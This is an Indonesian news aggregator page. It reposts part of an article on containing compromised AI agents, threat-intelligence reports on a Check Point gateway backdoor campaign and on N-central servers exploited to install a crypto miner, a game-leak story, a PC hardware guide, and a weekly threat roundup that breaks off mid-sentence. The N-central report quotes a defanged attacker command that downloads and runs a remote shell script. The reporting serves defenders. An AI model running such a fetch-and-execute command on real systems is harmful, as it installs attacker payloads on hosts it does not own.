Kembalikan izin akses secara bertahap dengan ruang lingkup paling minimal yang dibutuhkan oleh tugas operasional tersebut. Lakukan pengujian alur kerja secara ketat di lingkungan pengujian yang terisolasi, pastikan bahwa setiap tindakan yang berisiko tinggi wajib mengantongi otorisasi eksplisit, serta awasi secara ketat setiap pemanggilan fungsi alat dan lalu lintas akses setelah sistem aktif kembali. Untuk operasi kritis yang berpotensi membocorkan data pribadi atau memicu perubahan data permanen yang tidak dapat dibatalkan, terapkan mekanisme verifikasi persetujuan manusia (human-in-the-loop) guna memberi ruang bagi tim untuk mencegah kekeliruan sebelum instruksi dieksekusi.

Persiapan Proaktif Sebelum Terjadinya Insiden

Rencana penanganan insiden siber hanya akan bernilai nyata apabila para personil keamanan memahami secara persis instrumen pengamanan mana yang harus diaktifkan dan mampu mengoperasikannya secara tangkas di bawah tekanan krisis. Untuk setiap agen yang dikerahkan ke lingkungan produksi, organisasi harus memiliki pemetaan yang jelas mengenai:

Seluruh prosedur darurat tersebut wajib disimulasikan dan diuji coba secara berkala. Latihan simulasi atas meja (tabletop exercise) sangat bermanfaat dalam memetakan titik buta pertahanan, namun tim teknis juga harus memverifikasi secara langsung di lingkungan nyata bahwa proses pencabutan kredensial dan pemutusan alat pihak ketiga benar-benar berfungsi sebagaimana mestinya. Kerangka panduan tanggap insiden milik NIST memperlakukan fase kesiapsiagaan, respons insiden, serta pemulihan sebagai pilar integral dari manajemen risiko keamanan siber secara menyeluruh, bukan sekadar improvisasi reaktif setelah kekacauan terjadi.

Respons keamanan yang tangguh selalu berakar dari visibilitas lengkap terhadap kredensial rahasia apa saja yang dapat diakses oleh agen AI serta kesiapan teknis untuk membatalkan wewenang tersebut seketika. Solusi KeeperPAM® menggabungkan manajemen rahasia terpusat, kontrol wewenang akses istimewa, dan audit keamanan menyeluruh guna membantu enterprise mengawasi seluruh kredensial mesin yang menopang alur kerja kecerdasan buatan.

Melalui implementasi Keeper Secrets Manager, tim teknik dapat menegakkan kebijakan pembatasan rahasia sehingga agen hanya dapat memperoleh akses ke kredensial yang relevan dengan tugasnya, mengambil token keamanan secara dinamis saat proses berjalan (runtime), serta mengawasi setiap jejak akses secara transparan. Lapisan kontrol ini menyempurnakan strategi pembendungan insiden bersama dengan protokol terverifikasi untuk menghentikan alur kerja, menutup paksa sesi aktif, dan membatasi konektivitas jaringan.

Catatan: Artikel ini telah ditulis secara profesional dan dikontribusikan secara resmi oleh Aranza Trevino di Keeper Security.

Peretas Eksploitasi Celah PHP2Shell di Check Point Gateway untuk Pasang Backdoor TSGA dan Hapus Berkas ESXi

By admin

On November 13, 2026

In The Hacker News

Aktor ancaman siber tak dikenal terpantau menargetkan perangkat Check Point Security Gateway yang belum diperbarui guna memperoleh akses awal memanfaatkan kerentanan PHP2Shell, disusul dengan eksploitasi celah eskalasi hak akses lokal pada Gaia OS yang sebelumnya belum pernah dilaporkan untuk menyuntikkan pintu belakang (backdoor) berjuluk TSGA.

Rangkaian aktivitas yang dipaparkan oleh Check Point ini mulai berlangsung sejak tanggal 30 Oktober 2026 dengan menyasar berbagai organisasi di Israel, yang kemudian berlanjut dengan gelombang serangan lanjutan berskala lebih luas pada 2 November 2026 terhadap entitas di banyak negara dan beragam sektor industri. Sejumlah institusi yang telah menjadi sasaran pada gelombang permulaan juga turut mengalami serangan destruktif mematikan, termasuk penyebaran malware penghapus data atau wiper.

"PHP2Shell menyediakan akses tahap awal, yang kemudian disusul oleh eskalasi hak istimewa melalui antarmuka DynamicCLI dengan kode pelacakan CVE-2026-123039," ungkap pihak Check Point. "Para peretas lantas menempatkan web shell PHP, pintu belakang persisten TSGA, serta komponen perutean jaringan terintegrasi miliknya yang dinamakan TSProxy."

"Para penyerang melakukan pergerakan lateral dari unit gateway menuju sistem host VMware ESXi menggunakan protokol SSH, menyebarkan perusak bertajuk destroy_v6, serta meninggalkan dokumen pesan bernuansa politis bernama DREAM_ANNEXATION.txt selama fase perusakan berlangsung."

Celah CVE-2026-123039 dengan skor CVSS 7.8 merupakan kelemahan otorisasi yang hilang dan mampu memicu peningkatan hak istimewa menuju tingkat root di dalam proses DynamicCLI, yang memungkinkan setiap pengguna lokal terotentikasi untuk menjalankan instruksi sembarang cukup dengan melayangkan permintaan tunggal ke arah socket.

"Masalah keamanan ini berupa eskalasi hak istimewa lokal dan menuntut pihak penyerang sudah terlebih dahulu memiliki kemampuan eksekusi kode lokal di perangkat tersebut," tutur Check Point sembari menambahkan bahwa pihaknya "menyaksikan eksploitasi aktif atas kerentanan ini terhadap sekitar dua lusin pelanggan."

Permasalahan krusial tersebut berdampak pada varian versi R82.20, R82.10, R82, R81.20, R81.10, serta R81 dari lini produk terkait berikut ini –

"Pada pengujung bulan Oktober 2026, kira-kira sepekan setelah pembaruan keamanan resmi dirilis, aktivitas serangan yang bersumber dari alamat IP 130.94.19[.]204 membidik target organisasi-organisasi Israel melalui portal Mobile Access yang rentan di Check Point Security Gateway," sebut Check Point.

"Bukti-bukti yang ditemukan mengindikasikan adanya keberhasilan pembobolan di sejumlah kasus, disertai tindakan eksploitasi yang selaras dengan karakteristik PHP2Shell, terkait erat dengan CVE-2026-109618 dan CVE-2026-109619."

Setelah berhasil mengamankan akses tahap pertama, kelompok peretas anonim ini dilaporkan mendongkrak izin akses dari akun layanan portal menuju root memakai persenjataan celah CVE-2026-123039 dan menyebarkan web shell PHP untuk mengamankan pijakan permanen. Perangkat web shell ini mendukung fungsionalitas pengeksekusian perintah sistem sekaligus pengunggahan berkas.

Gelombang penyerangan pada tanggal 2 November 2026 dilaporkan kembali menyasar sejumlah lembaga Israel yang sempat dibidik pada gelombang pertama, bersanding dengan beragam sasaran global lainnya tanpa menunjukkan kecenderungan geografis maupun vertikal industri tertentu, mencerminkan manuver perburuan akses awal yang murni bersifat oportunistik.

Akses masuk yang dihadirkan oleh sarana web shell tersebut membuka jalan bagi penyusupan TSGA, suatu implan pintu belakang pasif mandiri yang memuat instrumen sekunder bernama TSProxy. TSGA, yang disamarkan sebagai berkas slot_CPconfigdaemon, diidentifikasi sebagai implan gateway Linux berkemampuan spesifik Check Point, mencakup akses jarak jauh terenkripsi, pencurian berkas konfigurasi, persistensi melalui backup dan snapshot, injeksi proses sistem, serta pengubahan log biner firewall.

"Kode injeksi milik [TSProxy] memuat pustaka ke dalam proses perkakas terpilih, di mana modul ini mencegat fungsi jaringan untuk mengelola komunikasi khusus milik penyerang sembari tetap mengalirkan lalu lintas normal tanpa gangguan," papar Check Point. "Hal ini memadukan backdoor mandiri yang persisten dengan jalur akses terselubung memanfaatkan layanan bawaan mesin."

Beberapa tindakan pasca-eksploitasi lainnya yang terpantau dihimpun pada poin-poin di bawah ini –

TSGA beserta TSProxy dinilai merupakan bagian komponen spesifik Check Point dari paket perangkat bernama PhiliKit, yang pertama kali diungkap ESET pada Juni 2026 dan dikaitkan dengan sindikat spionase siber terafiliasi Tiongkok bernama Armory Castle (sebelumnya UNC5221).

Indikasi lain yang mengarah pada potensi keterlibatan aktor berpihak Tiongkok mencakup pemakaian infrastruktur VPS LightNode serta pemusatan aktivitas pemindaian pada pukul 12.00 hingga 09.00 UTC, selaras dengan jam kerja umum di Tiongkok.

Kendati demikian, pihak penyedia keamanan siber tersebut menegaskan ketiadaan bukti yang cukup untuk mengaitkan operasi terbaru ini secara pasti kepada aktor tersebut maupun sindikat Tiongkok lainnya, mengacu pada poin pertimbangan berikut –

"Bila digabungkan, seluruh bukti belum memungkinkan kami menyimpulkan hakikat sesungguhnya dari operasi ini dengan tingkat keyakinan tinggi," tandas Check Point. "Sejumlah skenario masih terbuka lebar: aktor teridentifikasi mengendalikan seluruh kampanye, berperan semata sebagai makelar akses awal, atau terlibat aksi bendera palsu. Terdapat pula kemungkinan aksi destruktif dilakukan sebagai taktik pengalihan."

Peretas Manfaatkan Celah N-central untuk Menginfeksi 21 Server Termasuk Pengguna Hotfix 2

By admin

On November 13, 2026

In The Hacker News

N-able pada hari Kamis mengumumkan bahwa pihaknya menerapkan serangkaian langkah pencegahan tambahan menyusul terungkapnya temuan celah keamanan baru yang dilacak dengan nama 4EverAble2Shell serta Agent2Shell ke ruang publik.

"Kami membatasi fitur-fitur tertentu dan integrasi pada N-central," ungkap pihak perusahaan dalam laporan pembaruan hari Kamis. "Tindakan ini mungkin memengaruhi beberapa fungsionalitas, namun kami yakin bahwa mengambil langkah pencegahan ekstra selama proses remediasi diselesaikan merupakan tindakan yang tepat demi melindungi para mitra kami beserta pelanggan mereka."

Tindakan-tindakan berikut ini telah diterapkan secara langsung pada lingkungan Hosted –

Para pelanggan Hosted juga sangat disarankan untuk mengikuti arahan yang diberikan N-able sebelumnya guna memutakhirkan Agent dan Probe pada N-central versi 2026.4 HF1 ke atas, mengingat pembaruan ini membawa perubahan penting pada cara Probe dan Agent saling berkomunikasi.

"N-able N-central 2026.4 HF1 memperbarui komponen lawas dari Agent dan Probe, yang mengubah cara keduanya berkomunikasi," jelasnya. "Oleh karena itu, memperbarui Agent maupun Probe di server N-central Anda adalah sebuah KEHARUSAN guna memastikan semua perangkat yang dikelola dapat berkomunikasi dan tertambal."

Sementara itu, pelanggan lokal atau on-premises sangat didesak untuk segera memperbarui Agent dan Probe mereka serta memastikan akses Legacy API benar-benar dinonaktifkan di dalam lingkungan sistem, seandainya fitur tersebut pernah diaktifkan sebelumnya.

"Tim kami sedang secara aktif menilai pengungkapan baru ini, mengembangkan perbaikan tambahan, dan bekerja keras untuk memulihkan fungsi yang terdampak secara aman," sebut N-able. "Melindungi mitra kami dan para pelanggan mereka tetap menjadi prioritas tertinggi kami, dan kami akan terus mengambil langkah antisipasi jika memang diperlukan."

Perkembangan genting ini berlangsung saat peneliti keamanan independen Sean Bales membeberkan dua rangkaian kerentanan baru bernama 4EverAble2Shell dan Agent2Shell yang mampu bekerja membobol versi terbaru N-central, serta memungkinkan penyerang menjalankan kode arbitrer sebagai root dan memperoleh hak akses tingkat SYSTEM pada sistem Windows di bawah kondisi tertentu.

Berbagai laporan intelijen ancaman mengindikasikan bahwa 4EverAble2Shell telah bergeser dari pemindaian awal menuju upaya eksploitasi aktif di dunia nyata, di mana para pelaku ancaman siber memanfaatkannya untuk menyebarkan program penambang mata uang kripto ke server-server yang rentan.

Serangan-serangan siber tersebut diketahui menggabungkan kerentanan kritis Apache Axis, yang dilacak sebagai CVE-2026-90436 (dengan skor CVSS: 9.8), bersama celah eskalasi hak istimewa terpisah pada N-central guna mengamankan hak akses level root.

"Rantai eksploitasi tanpa autentikasi pada N-able N-central, yang diungkap sebagai 4EverAble2Shell, dilaporkan memungkinkan penyerang jarak jauh mengeksekusi perintah sistem operasi arbitrer dengan hak istimewa root," papar Previdian, yang memantau celah keamanan ini di bawah kode VULN-2026-0009.

"Rantai tersebut mengeksploitasi instansiasi kelas yang tidak aman saat pemrosesan SOAP fault dalam komponen bawaan Apache Axis. Permintaan yang dirancang khusus membuat kelas JLine pilihan peretas memproses masukan berbahaya, menghasilkan eksekusi perintah sebagai akun layanan nable."

Dalam rantai serangan yang diuraikan oleh perusahaan intelijen ancaman tersebut, para peretas terpantau mencoba mengunduh sekaligus menjalankan skrip shell ("jup.sh") dari server kendali milik penyerang di alamat "157.20.241[.]16," sembari mengirimkan kembali informasi diagnostik beserta keluaran perintah ke server.

Perusahaan keamanan siber Huntback juga membongkar bahwa alamat IP yang persis sama telah mempersenjatai kerentanan 4EverAble2Shell tersebut untuk menyebarkan penambang kripto XMRig Monero ke 21 server N-central melalui skrip shell yang disebutkan sebelumnya –

mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP-redacted]

Perangkat penambang ini sengaja dirancang hanya mengonsumsi separuh dari total inti CPU yang tersedia, kemungkinan besar bertujuan untuk menghindari deteksi pemantauan sistem. Server-server N-central yang disusupi ini terpusat di wilayah Amerika Serikat, Afrika Selatan, Kanada, Inggris, Jerman, Prancis, dan Swedia.

"Penambang ini adalah satu-satunya payload yang kami pantau, tetapi eskalasi tersebut memberi operator hak root pada host yang mengelola endpoint para pelanggan Anda," tegas Huntback. "Perlakukan insiden ini sebagai kompromi menyeluruh, bukan sekadar tugas pembersihan biasa. Menginstal Hotfix 2 saja tidak cukup: 19 dari korban di sini sudah menggunakannya."

Data Source Code Half-Life 2: Episode Three Kembali Tersebar di Dunia Maya

By admin

On November 13, 2026

In Uncategorized

Informasi rahasia mengenai Half-Life 2: Episode Three kembali mencuat ke permukaan. Proyek permainan yang telah dibatalkan nyaris dua dekade silam tersebut kembali memperlihatkan sejumlah berkas pengembangannya kepada publik. Lalu, apa saja hal baru yang terungkap?

Berkas Pengujian Half-Life 2 Episode Three Bocor ke Publik

Kabar mengenai Half-Life 2: Episode Three ini disebarkan oleh akun GabeFollower yang membagikan tangkapan layar berupa kode sumber milik seri tersebut. Unggahan tersebut mengungkap rancangan persenjataan serang garapan Valve, khususnya Blobulator beserta Weaponizer. Senjata Blobulator sejatinya sempat dipamerkan pihak Valve sekitar rentang tahun 2007 sampai 2008.

Peralatan tempur itu berwujud gumpalan amat besar serupa cairan merkuri yang berfungsi melumpuhkan atau menjerat lawan. Wujud cairnya sanggup terbagi menjadi bermacam rupa sebelum menyatu kembali layaknya karakter T-1000 pada waralaba Terminator. Kelemahannya, Blobulator seolah memiliki kehendak bebas dan mampu melukai penggunanya apabila keliru digunakan.

Sistem mekanik pada senjata tersebut pada akhirnya dialihkan untuk menyempurnakan Mobility Gels pada Portal 2. Di sisi lain, Weaponizer tergolong amat misterius. Peran utamanya belum diketahui pasti, kendati sejumlah kabar menyatakan piranti ini dirancang guna menyulap objek lingkungan sekitar menjadi peluru tembakan.

Berdasarkan rincian data, basis kode ini berasal dari kurun waktu 2008 atau varian terawal Episode Three yang pada akhirnya dipangkas Valve. Sebelumnya, aset model 3D Weaponizer juga sempat terseret pada kebocoran masif peladen Steam berukuran 12 TB periode 2003 hingga 2013, bersamaan dengan prototipe Portal 2, Left 4 Dead, serta CS:GO.

Pada versi pengembangan Portal 2, wujud Weaponizer rupanya difungsikan sebagai aset cadangan. Hal ini menandakan Valve kerap memanfaatkan kembali material proyek mangkrak untuk judul-judul anyar mereka. Sayang sekali, bocoran anyar ini sekadar baris kode tanpa berkas aplikasi yang dapat dicoba, dan pengembang belum memberikan klarifikasi apa pun.

Simak terus ulasan menarik Gamebrott seputar Half-Life maupun publikasi informatif lainnya dari Arif Gunawan. Kebutuhan kolaborasi atau pertanyaan lebih lanjut dapat dikirimkan melalui surel [email protected].

5 Komponen Hardware yang Sering Menyebabkan Bottleneck pada PC Gaming

By admin

On November 13, 2026

In Uncategorized

Aktivitas merakit komputer idaman untuk bermain game kerap kali berawal dari ambisi tunggal, yakni meminang kartu pengolah grafis terkencang yang masih terjangkau oleh kondisi finansial. Tidak sedikit pengguna yang berani memangkas alokasi dana peranti lain semata-mata demi memboyong GPU kasta paling atas, dengan ekspektasi semua judul game kelas Triple A sanggup dieksekusi memakai konfigurasi grafis paling mentok kanan. Kendati demikian, euforia sesaat tersebut acap kali berubah menjadi rasa heran tatkala capaian angka FPS yang tampil di layar monitor ternyata tidak seindah ulasan di internet, atau sesi bermain game tiba-tiba saja tersendat di tengah-tengah pertempuran sengit.

Kondisi semacam ini lazim dinamakan bottleneck, yaitu situasi sewaktu daya komputasi keseluruhan sistem komputer tertahan lantaran ada salah satu suku cadang yang beroperasi kelewat lambat jika dikomparasikan dengan perangkat lainnya. Begitu mendengar istilah bottleneck, alam bawah sadar kita condong langsung melayangkan tuduhan kepada prosesor sebagai satu-satunya biang keladi. Nyatanya, terdapat deretan peranti lain di dalam kotak komputer yang diam-diam menjadi dalang sesungguhnya di balik tertahannya tenaga maksimal mesin tempur digital milikmu tersebut, brott.

Sederet Perangkat Keras Komputer yang Sering Memicu Bottleneck

Agar kamu tidak salah mengambil keputusan sewaktu menyusun agenda peremajaan komponen di masa mendatang ataupun ketika sedang melacak penyebab merosotnya performa komputer, mari kita kupas secara tuntas lima peranti keras yang paling sering menciptakan bottleneck tanpa sempat kamu curigai sebelumnya.

1. Memori RAM Berkapasitas Tanggung

Cukup banyak gamer yang masih berpegang pada anggapan bahwa bekal RAM berukuran 8GB atau sekadar menancapkan sekeping RAM 16GB sudah terhitung memadai guna menopang kestabilan bermain game pada tahun ini. Faktanya, aneka game modern masa kini tergolong sangat rakus menyerap alokasi memori, dan membiarkan komputer beroperasi hanya dengan satu keping RAM alias mode single-channel merupakan metode paling manjur untuk mencekik efisiensi kerja prosesor kamu sendiri.

Ketiadaan pengaturan dual-channel menyebabkan lebar pita atau bandwidth memori terpangkas hingga separuh kapasitas aslinya, yang pada akhirnya memicu penurunan angka FPS secara tajam sekaligus menimbulkan gejala patah-patah mikro atau micro-stutter yang sangat mengganggu pandangan mata. Di samping itu, membiarkan fitur profil akselerasi XMP maupun EXPO tidak aktif di dalam menu BIOS mengakibatkan frekuensi kerja RAM hanya berjalan pada tolok ukur bawaan yang paling rendah, sehingga potensi sesungguhnya dari modul memori yang kamu beli dengan harga mahal justru terbuang percuma begitu saja.

2. Media Penyimpanan SSD yang Mulai Sesak

Pada era industri game modern yang menuntut kapasitas unduhan mencapai ratusan gigabita serta mengadopsi mekanisme direct storage dan pemuatan aset berkecepatan tinggi, terus memaksakan harddisk mekanikal konvensional untuk menyimpan game rilis terbaru ibarat meminta pelari maraton legendaris Eliud Kipchoge beradu cepat mengenakan sandal jepit karet Swallow. Malahan, seandainya kamu telah beralih memakai SSD sekalipun, kecepatan pembacaan dan penulisan datanya berisiko terjun bebas apabila ruang tampung drive tersebut sudah terisi melampaui ambang batas delapan puluh persen.

Sewaktu ruang penampung sementara atau cache pada peranti SSD telah dijejali berkas tanpa menyisakan ruang napas yang cukup, alur pemrosesan tekstur visual beresolusi tinggi saat tokoh utama berpindah dari satu lokasi ke lokasi lain akan tersendat parah. Dampak langsungnya, kamu bakal sering mendapati tampilan objek gedung terlihat buram dan kabur selama beberapa detik sebelum akhirnya berhasil dipoles tajam, atau mendapati tampilan gambar pada layar mendadak membeku sejenak tiap kali melangkah memasuki area permainan yang baru.

3. Papan Induk Motherboard dengan Desain VRM Seadanya

Peranti papan sirkuit utama ini amat sering menjadi tumbal pemangkasan alokasi biaya terbesar saat proses perakitan komputer dilakukan, hanya gara-gara komponen ini diasumsikan tidak memiliki andil langsung terhadap lonjakan angka FPS dalam game. Padahal kenyataannya, menyandingkan sebuah prosesor kelas menengah ke atas pada motherboard entry-level berdesain modul pengatur tegangan atau Voltage Regulator Module (VRM) minim pelat pendingin merupakan bibit petaka yang sangat nyata.

Saat prosesor dipaksa memeras seluruh tenaganya guna meladeni beban game berat, modul VRM yang terpanggang suhu terlampau panas akan mengalami thermal throttling dan terpaksa memangkas aliran daya listrik menuju inti prosesor. Konsekuensinya, kecepatan frekuensi clock prosesor kamu akan melorot mendadak di tengah pertempuran game demi mengamankan perangkat dari ancaman korsleting atau terbakar, yang lantas membuat stabilitas laju game terasa naik turun layaknya menunggangi kereta seluncur.

4. Modul Pendingin dan Pola Sirkulasi Udara yang Buruk

Mengeluarkan dana melimpah demi menebus prosesor serta unit kartu grafis berkecepatan tinggi namun membiarkannya terkungkung di dalam kotak casing berventilasi tertutup rapat layaknya ruang sauna merupakan kekeliruan fatal yang sangat jamak ditemui. Komponen komputasi mutakhir saat ini sejatinya telah dipersenjatai proteksi otomatis untuk menjaga kestabilan perangkatnya sendiri, sehingga ketika temperatur mendadak menyentuh batas kritis, komponen tersebut akan memangkas kinerjanya secara otomatis demi menurunkan hawa panas.

Jika kamu terus mengandalkan pendingin bawaan dari kotak penjualan untuk mendinginkan prosesor bertarif daya tinggi atau kerap mengabaikan kotoran debu yang menyumbat kasa filter udara, jangan kaget jika performa PC kamu anjlok drastis setelah bermain selama tiga puluh menit berturut-turut. Suhu panas yang terperangkap merupakan ancaman tak kasatmata yang perlahan menggerus ketajaman performa komponen mahal kamu tanpa pernah memunculkan jendela notifikasi galat apa pun di monitor.

5. Layar Monitor dengan Refresh Rate Masih Rendah

Uraian ini mungkin terdengar agak menggelikan bagi sebagian pihak, akan tetapi panel monitor yang terpampang persis di depan mata kamu sesungguhnya dapat menjadi wujud bottleneck paling konkret yang sangat sering luput dari pengawasan. Pengorbananmu merakit komputer beranggaran selangit yang sanggup menyemburkan laju ratusan FPS pada game kompetitif menjadi sia-sia apabila kamu masih setia menyandingkannya bersama monitor konvensional berkecepatan refresh rate 60Hz saja.

Di atas kertas, kartu grafis milikmu memang sedang bekerja keras memuntahkan ratusan frame gambar per detik, akan tetapi perangkat monitor tersebut secara kapabilitas fisik sama sekali tidak sanggup merender lebih dari enam puluh gambar tiap satu detiknya. Kualitas pergerakan visual yang halus dan responsivitas tinggi yang semestinya mampu kamu nikmati akhirnya sirna begitu saja di jalur kabel display, menjadikan investasi suku cadang kasta premium milikmu tidak sanggup terutilisasi secara maksimal saat dimainkan.

Itulah rangkaian perangkat keras yang tanpa disadari kerap menghambat laju kecepatan mesin komputer gaming andalanmu selama ini. Membangun sebuah komputer dengan performa yang seimbang memang menuntut ketelitian tinggi pada setiap detail kecil, agar tak ada satu pun peranti yang bertindak sebagai beban bagi komponen lainnya. Berdasarkan rangkuman di atas tadi, bagian manakah yang saat ini diperkirakan masih menjadi titik kelemahan utama pada racikan komputer kamu sekarang brott?

Simak terus rangkuman berita menarik di Gamebrott yang mengulas ranah Tech atau suguhan artikel sejenis yang tidak kalah seru dari Andi. Untuk informasi lebih lanjut serta keperluan kerja sama lainnya, kamu dapat menghubungi kami melalui alamat [email protected].

Kompilasi Ancaman Siber Global: Puluhan Celah Kernel Linux, Spyware Falcon, dan Pintu Belakang GSocket

By admin

On November 13, 2026

In The Hacker News

Hasil pencarian di internet tidak selamanya menjamin keamanan bagi siapa pun yang mengekliknya. Sebuah permohonan hak akses jaringan pun belum tentu datang tanpa niat terselubung. Demikian pula, saat sebuah nama akun yang sangat familier muncul di layar komputer, tidak ada kepastian mutlak bahwa sosok rekan yang Anda kenal yang sesungguhnya sedang mengendalikannya. Rangkaian prinsip dasar perlindungan data ini terdengar begitu sederhana dan kerap kali diulang-ulang dalam pelatihan keamanan korporat. Meski demikian, sebagian besar rentetan insiden peretasan berskala besar sepanjang pekan ini nyatanya berakar tepat dari kelengahan pengguna terhadap hal-hal mendasar tersebut.

Para pelaku kejahatan digital terorganisasi kini kian terampil memanfaatkan replika situs palsu, memeras kredensial autentikasi hasil jarahan, serta menyalahgunakan utilitas resmi sistem operasi untuk merangsek ke dalam perimeter digital yang terlarang bagi mereka. Integrasi kecerdasan buatan komputasional turut mengakselerasi perancangan vektor agresi digital menjadi berlipat ganda lebih cepat, sembari secara simultan membuka area komputasi mutakhir yang rentan dijadikan sasaran pembobolan berikutnya. Pada sudut lain, segelintir penyusup siber lihai mempertahankan kendali jarak jauh pada infrastruktur korban kendati kerentanan awal telah ditambal dengan pembaruan perangkat lunak. Ada pula sindikat yang mencuci triliunan dana hasil rampokan melewati labirin transaksi antar-blockchain yang luar biasa rumit. Sementara itu, kalangan peneliti forensik tanpa henti menyingkap baris-baris kesalahan penulisan kode sumber berukuran mini yang berdaya rusak masif saat dieksploitasi musuh. Alur kisahnya mungkin beraneka rupa, namun esensi utama dari mayoritas krisis ini bertumpu pada satu siasat klasik: memanipulasi aksi yang berbahaya agar terlihat wajar serta tidak memicu alarm keamanan.

Kendati demikian, masih terselip kabar melegakan di tengah situasi yang mengkhawatirkan ini. Sejumlah simpul peladen milik sindikat kriminal siber internasional berhasil disita oleh pihak berwenang multinasional, dan arsitektur pengamanan pelindung digital di berbagai lini perlahan mulai diperketat secara signifikan. Walau begitu, tetap saja ada begitu banyak anomali keamanan sistemik yang runtuh dengan pola kelemahan mendasar yang semestinya sudah lama dapat dicegah. Inilah rangkuman mendalam mengenai deretan peristiwa keamanan siber paling krusial yang terungkap ke ranah publik sepanjang pekan ini.

Lanskap ancaman keamanan siber terus bermutasi setiap pekan tanpa henti. Pastikan Anda mendaftarkan diri pada buletin berkala kami agar senantiasa memperoleh peringatan dini secara tepat waktu tepat ketika laporan komprehensif ThreatsDay berikutnya resmi dirilis.

Kelompok peretas terorganisasi yang terafiliasi dengan rezim Korea Utara, yang sebelumnya teridentifikasi mendalangi pembobolan dana fantastis sebesar 6,43 miliar dolar AS dari bursa kripto Binance, kini terpantau menerapkan skema pencucian uang digital yang luar biasa kompleks serta didukung otomatisasi tingkat tinggi demi membersihkan kekayaan haram tersebut. "Semenjak pencurian bersejarah itu berlangsung, komplotan ini telah mendayagunakan lebih dari 20.000 dompet kripto yang tersebar di 16 jaringan blockchain independen, memanfaatkan sekurang-kurangnya 36 layanan finansial pihak ketiga, dan mengeksekusi sedikitnya 65.000 transaksi terpisah," papar Dr. Tom Robinson selaku pendiri sekaligus ilmuwan utama di firma analitik Elliptic. "Sekitar 3,0 miliar dolar AS saat ini masih tersimpan membeku di dalam berbagai alamat penampung yang terkait langsung dengan aksi pencurian tersebut, mayoritas dikuasai dalam wujud token ETH dan BTC. Nominal yang berhasil mereka cairkan ke mata uang fiat hingga kini diyakini masih sangat kecil." Selain itu, para penyusup siber ini terpantau sengaja mencetak enam koin meme khusus pada ekosistem blockchain NEAR (antara lain dinamai FUK, OLCCL, MEILI, MMLI, DABI, serta SINU) sebagai wadah penyamaran guna mencuci sebagian kecil jarahan, memutar nilai kripto setara 430.000 dolar AS melalui instrumen spekulatif tersebut. Skema manuver ini dirancang untuk mengaburkan jejak audit finansial dan mempersulit analis melacak pelabuhan akhir dari seluruh aset digital curian tersebut. Deretan taktik lain yang sengaja dikerahkan guna mengacaukan penelusuran dana mencakup transfer lintas jaringan melalui protokol jembatan dan platform swap cross-chain, penukaran aset di bursa terdesentralisasi (DEX), melompat lewat brankas peminjaman modal serta platform liquid-staking, hingga pemanfaatan mekanisme pencampuran koinjoin untuk Bitcoin serta kolam privasi Privacy Cash untuk Ethereum dan Solana. Kasus peretasan Binance ini memang bukanlah yang pertama menimpa entitas pertukaran kripto kelas dunia, namun menjadi rekor terbesar sepanjang sejarah industri digital. Juru bicara pemerintah Korea Utara, Kim Yo Jong, menyangkal keras keterlibatan negaranya dalam operasi siber tersebut dan mencap tuduhan itu sebagai manuver konyol yang sengaja diembuskan untuk merusak reputasi internasional Republik Demokratik Rakyat Korea.

Pusat tanggap ancaman Microsoft mengumumkan bahwa mereka mendeteksi serangkaian insiden ofensif saat pelaku ancaman siber menyematkan GSocket, sebuah utilitas akses kendali jarak jauh sumber terbuka, ke dalam peladen-peladen Linux yang terkoneksi langsung ke jaringan internet publik. Tujuannya adalah untuk mengamankan pijakan akses berkelanjutan kendati titik lemah pada aplikasi web utama telah sukses ditambal oleh tim TI, secara efektif mengubah insiden peretasan aplikasi web tunggal menjadi persistensi jangka panjang. "Berhubung GSocket mengalirkan seluruh relai lalu lintas komunikasinya melalui infrastruktur jaringan publik bersama, sama sekali tidak ada entitas alamat IP statis maupun nama domain terdaftar milik peretas yang bisa diblokir oleh sistem penyaring," jelas perwakilan teknis Microsoft. "Oleh karena itu, para administrator keamanan pertahanan wajib melacak aktivitas instalasi GSocket, mekanisme persistensi lokal, eskalasi hak istimewa pengguna, dan pola sambungan keluar yang mencurigakan pada peladen target, alih-alih menganggap penambalan aplikasi web saja sudah menuntaskan remediasi insiden." Merujuk pada data telemetri komprehensif, jumlah perangkat komputasi yang terdeteksi disusupi aktivitas berkaitan dengan GSocket melonjak tajam hingga 356,2% terhitung sejak Maret hingga Agustus 2026, dengan konsentrasi tertinggi ditemukan bercokol pada aplikasi web berbasis PHP, server cPanel, dan mesin Apache. Mayoritas korban yang menjadi target operasi GSocket terpusat pada sektor pendidikan dan lembaga riset akademis, disusul oleh industri teknologi komunikasi, manufaktur perakitan, dan instansi birokrasi pemerintahan.

Lembaga penegak hukum Uni Eropa, Europol, bekerja sama dengan barisan aparat lintas negara secara serentak berhasil merontokkan pilar infrastruktur server ilegal milik sindikat malware GootLoader, CastleRAT, dan StealC, dengan menyita 235 unit peladen fisik serta membekukan 257 domain internet aktif. "Operasi pembersihan berskala internasional ini menyasar model bisnis cybercrime-as-a-service, di mana seluruh perkakas jahat yang disewakan tersebut menjadi batu loncatan bagi kejahatan susulan seperti serangan ransomware yang melumpuhkan sistem serta perampokan data rahasia korporat," bunyi keterangan resmi Europol. Dari operasi penindakan ini, tim penyidik berhasil mengidentifikasi dan menyelamatkan lebih dari 6 juta data kredensial akun para korban infeksi. "Para terduga pelaku mengumpulkan data kredensial curian ini dari komputer para korban yang terinfeksi, untuk kemudian diperdagangkan di pasar gelap bawah tanah dan kelak digunakan oleh kelompok kriminal lain guna melancarkan serangan siber lanjutan seperti ransomware," tambah Europol.

Sebuah kerangka kerja pengendali komando Command and Control (C2) canggih bernama Falcon (dikenal juga dengan alias XG atau Xiàng Gē) terbukti aktif membobol peramban web para pengguna melalui injeksi skrip JavaScript berniat jahat. Struktur kerangka kerja Falcon memiliki kesamaan arsitektur URL, mekanisme pengiriman muatan berbahaya, dan format protokol jaringan yang hampir identik secara struktural dengan PeckBirdy, kerangka kerja C2 berbasis JavaScript yang pertama kali terdeteksi pada awal tahun ini. Para analis menyimpulkan bahwa Falcon dan PeckBirdy pada dasarnya merupakan varian modifikasi dari basis kode kerangka inti yang sama. "Aktor ancaman menggunakan Falcon untuk menyasar pengunjung portal webmail resmi serta aplikasi web kementerian dengan cara menyuntikkan skrip JavaScript berbahaya secara langsung ke dalam laman situs tersebut," ungkap tim peneliti Unit 42 Palo Alto Networks. "Dengan beroperasi secara penuh di dalam lingkup peramban web korban, pelaku menyalahgunakan kerangka ini untuk menyusupkan ekstensi Google Chrome berbahaya dan merampok aneka data vital: kata sandi, isi pesan email, kuki sesi penjelajahan, serta 